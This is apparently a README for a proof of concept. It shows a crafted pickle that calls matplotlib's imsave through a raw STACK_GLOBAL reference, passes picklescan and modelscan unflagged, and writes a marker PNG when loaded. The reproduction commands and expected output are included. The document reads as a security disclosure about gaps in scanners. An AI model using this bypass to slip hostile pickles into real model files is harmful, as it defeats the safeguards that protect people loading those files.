# Matplotlib imsave pickle-scanner bypass PoC

This PoC builds a raw pickle that uses a direct `STACK_GLOBAL` reference to:

```text
module = "matplotlib.pyplot"
name   = "imsave"
```

Both `picklescan==1.0.4` and `modelscan==0.8.8` report the pickle clean. A normal `pickle.load()` then creates `/tmp/mfv_matplotlib_imsave_scanner_bypass_20260624.png` as a PNG image.

Run:

```bash
python3 -m venv /tmp/matplotlib-imsave-scanner-bypass-venv
/tmp/matplotlib-imsave-scanner-bypass-venv/bin/python -m pip install --upgrade pip
/tmp/matplotlib-imsave-scanner-bypass-venv/bin/python -m pip install -r requirements.txt
/tmp/matplotlib-imsave-scanner-bypass-venv/bin/python reproduce_matplotlib_imsave_scanner_bypass.py
```

Expected:

```text
picklescan_clean=True
modelscan_clean=True
load_success=True
marker_exists=True
png_magic_matches=True
REPRO_OK
```

The payload is generated with raw pickle opcodes and does not contain `builtins.getattr`.